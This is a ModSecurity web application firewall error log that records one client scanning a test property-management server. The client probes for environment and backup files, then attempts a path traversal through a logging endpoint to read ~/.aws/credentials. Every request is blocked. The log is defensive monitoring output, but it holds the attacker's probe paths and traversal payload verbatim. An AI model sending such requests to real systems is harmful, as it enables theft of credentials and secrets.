[Thu Feb 26 01:02:43.650863 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg9AAAAAE&quot;]
[Thu Feb 26 01:02:43.678792 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O4QAAAAU&quot;]
[Thu Feb 26 01:02:43.679004 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O4QAAAAU&quot;]
[Thu Feb 26 01:02:43.679150 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O4QAAAAU&quot;]
[Thu Feb 26 01:02:43.715687 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O4gAAAAU&quot;]
[Thu Feb 26 01:02:43.715927 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O4gAAAAU&quot;]
[Thu Feb 26 01:02:43.716092 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O4gAAAAU&quot;]
[Thu Feb 26 01:02:43.752210 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.live&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O4wAAAAU&quot;]
[Thu Feb 26 01:02:43.752462 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O4wAAAAU&quot;]
[Thu Feb 26 01:02:43.752626 2026] [:error] [pid 2330812] [client 185.177.72.22:9416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aZ-Noyk1SHHL9bIjTI-O4wAAAAU&quot;]
[Thu Feb 26 01:02:43.755679 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg9wAAAAE&quot;]
[Thu Feb 26 01:02:43.755912 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg9wAAAAE&quot;]
[Thu Feb 26 01:02:43.756053 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg9wAAAAE&quot;]
[Thu Feb 26 01:02:43.825987 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg-QAAAAE&quot;]
[Thu Feb 26 01:02:43.826201 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg-QAAAAE&quot;]
[Thu Feb 26 01:02:43.826353 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg-QAAAAE&quot;]
[Thu Feb 26 01:02:43.847945 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg-gAAAAE&quot;]
[Thu Feb 26 01:02:43.848167 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg-gAAAAE&quot;]
[Thu Feb 26 01:02:43.848325 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg-gAAAAE&quot;]
[Thu Feb 26 01:02:43.878709 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample.php&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg-wAAAAE&quot;]
[Thu Feb 26 01:02:43.878964 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample.php&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg-wAAAAE&quot;]
[Thu Feb 26 01:02:43.879115 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample.php&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg-wAAAAE&quot;]
[Thu Feb 26 01:02:43.926181 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg_AAAAAE&quot;]
[Thu Feb 26 01:02:43.926466 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg_AAAAAE&quot;]
[Thu Feb 26 01:02:43.926622 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg_AAAAAE&quot;]
[Thu Feb 26 01:02:44.110304 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhAAAAAAE&quot;]
[Thu Feb 26 01:02:44.110834 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhAAAAAAE&quot;]
[Thu Feb 26 01:02:44.110992 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhAAAAAAE&quot;]
[Thu Feb 26 01:02:44.213510 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhAwAAAAE&quot;]
[Thu Feb 26 01:02:44.213598 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhAwAAAAE&quot;]
[Thu Feb 26 01:02:44.213653 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhAwAAAAE&quot;]
[Thu Feb 26 01:02:44.214576 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ-NpDAL5Lg_nL66HcLhAwAAAAE&quot;]
